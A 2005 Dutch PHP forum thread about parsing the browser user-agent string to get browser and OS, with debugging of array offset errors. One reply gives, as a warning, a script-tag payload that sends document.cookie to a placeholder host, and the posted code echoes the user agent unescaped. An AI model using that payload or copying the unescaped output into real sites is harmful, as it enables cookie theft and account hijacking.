login  Naam:   Wachtwoord: 
Registreer je!
 Forum

klopt dit 100%...

Offline Stijn - 09/04/2005 20:57
Avatar van StijnPHP expert hallo

Code:
  1. <?php
  2. $info = $_SERVER['HTTP_USER_AGENT'];
  3. $browser = explode("(", $info);
  4. echo $browser[0];
  5.  
  6. $os = explode(";", $browser[1]);
  7. echo $os[2];
  8. ?>


Bij $_SERVER['HTTP_USER_AGENT']; -> zal die altijd zo'n patroon* zijn??? Met een windows xp pc en IE werkt het perfect: het vertelt me de browser en het os (zie script).

*patroon: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Kan ik mijn script 100% vertrouwen, ik heb geen Linux of dergelijke om dit te testen

groeten stijn 

11 antwoorden

Gesponsorde links
Offline delta_004 - 10/04/2005 09:47 (laatste wijziging 10/04/2005 09:50)
Avatar van delta_004 Onbekend Ja dit klopt
Offline BigBug - 10/04/2005 09:51 (laatste wijziging 10/04/2005 09:52)
Avatar van BigBug PHP expert @ Delta 004, die wordt wel degelijk aangemaakt, het klopt idd, het werkt


Again @ Delta 004, nu gauw je bericht veranderen he? ....
Offline Fenrir - 10/04/2005 09:53
Avatar van Fenrir PHP expert Jawel: $browser = explode("(", $info);
Je moet wel oppassen met dit soort dingen, want je kunt dit makkelijk handmatig veranderen. Dus als je dit als user_agen_string oid instelt:

<script>document.location = 'http://www.bla.com/?logcookie=' + document.cookie;</script>

Dan echo jij dat. En als je bijvoorbeeld een ledensysteem hebt, en jij dit in een logfile opslaat, kan iedereen zo je cookie stelen. Dan kunnen ze dat cookie dus gebruiken om onder jouw account in te loggen.
Offline Stijn - 10/04/2005 23:31
Avatar van Stijn PHP expert Mhz, als ik het in IE open dan zie ik staan Mozilla/4.0.... Is IE altijd deze waarde?

@Fenrir:
Het is niet voor een login of zoiets gewoon statistiek gericht 
Offline Stijn - 11/04/2005 20:13
Avatar van Stijn PHP expert mmhz weet niet hoe dit komt maar wanneer ik deze code uitvoer komt alleen $browser op het scherm en $os niet wrm

code:
  1. <?php
  2. $info = $_SERVER['HTTP_USER_AGENT'];
  3. $browser = explode("(", $info);
  4. $browser = $browser[0];
  5.  
  6. $os = explode(";", $browser[1]);
  7. $os = $os[2];
  8.  
  9.  
  10.  
  11. echo $browser;
  12. echo $os;
  13. ?>

groeten stijn
Offline Fenrir - 11/04/2005 20:17
Avatar van Fenrir PHP expert
Citaat:
Het is niet voor een login of zoiets gewoon statistiek gericht
?? Maar is er op diezelfde site ook nog een login? Dan moet je oppassen.

ZET ER ERROR_REPORTING(E_ALL) BOVEN!

Dan zie je dat er een unblad offset '2' is.
Kan het niet gewoon zo, als je de browser wilt:
$p = explode(" ", $info);

$brow = $p[3];

en os:

$os = $p[5];

??
Offline Stijn - 11/04/2005 20:25 (laatste wijziging 11/04/2005 20:38)
Avatar van Stijn PHP expert als je $info uitvoert dan moet ik de eerste waarde hebben voor de " (" dus ik splitst $info in 2 delen en het eerste deel is alvast mijn browser en dan moet hij in het tweede deel het besturingssysteem uithalen, die staat op de tweede plaatst van de code en alles is afgescheiden door een "," dus alweer explode.

Bij andere browsers werkt je code dan niet, de code is enkel van toepassing bij IE. Maar misschien moet ik de $browser in een session plaatsten en dan bij os de $_session['brower'] eens toepassen...

Het script wordt gebruikt op een site met een login.. maar hoe moet ik de code toepassen dan op mij script... Ik snap namelijk geen barst  van JavaScript

groeten stijn 

[edit]
zoiets maar werkt terug niet en wat betekent:
Warning: Undefined offset: 2 in c:\apache\htdocs\werk\stats.php on line 407?

  1. <?php
  2. $info = $_SERVER['HTTP_USER_AGENT'];
  3. $browser = explode("(", $info);
  4. $_SESSION['browser'] = $browser[0];
  5. $_SESSION['ob'] = $browser[1];
  6.  
  7. $os = explode(";", $_SESSION['ob']);
  8. $_SESSION['os'] = $os[2];
  9.  
  10. echo $_SESSION['browser'];
  11. echo $_SESSION['os'];
  12.  
  13. ?>

Offline Rens - 11/04/2005 20:45
Avatar van Rens Gouden medaille

Crew algemeen
Die error betekent dat $os[2] niet bestaat.
Het 2e deel van de array kan hij dus niet ophalen.
Er zit dus een fout bij het exploden (op regel 11 denk ik).
Offline Stijn - 11/04/2005 21:02
Avatar van Stijn PHP expert Maar wat is er dan verkeerd met die sessions??? De waarde wordt toch opgeslagen in sessions:

$_SESSION['ob'] = $browser[1];

en dan gebruik $os = explode(";", $_SESSION['ob']); -> dus haalt hij de info uit die session... Of zit ik in de verkeerde richting 

stijn
Offline Fenrir - 11/04/2005 21:19
Avatar van Fenrir PHP expert De error zit in deze regel:

$_SESSION['os'] = $os[2];

Dus dat explode werkt niet.
Offline Stijn - 11/04/2005 21:28
Avatar van Stijn PHP expert pft zal een andere functie moeten gebruiken, op naar de expressies  pft wat moeilijk 

alvast bedankt, stijn 
Gesponsorde links
Dit onderwerp is gesloten.
Actieve forumberichten
© 2002-2024 Sitemasters.be - Regels - Laadtijd: 0.224s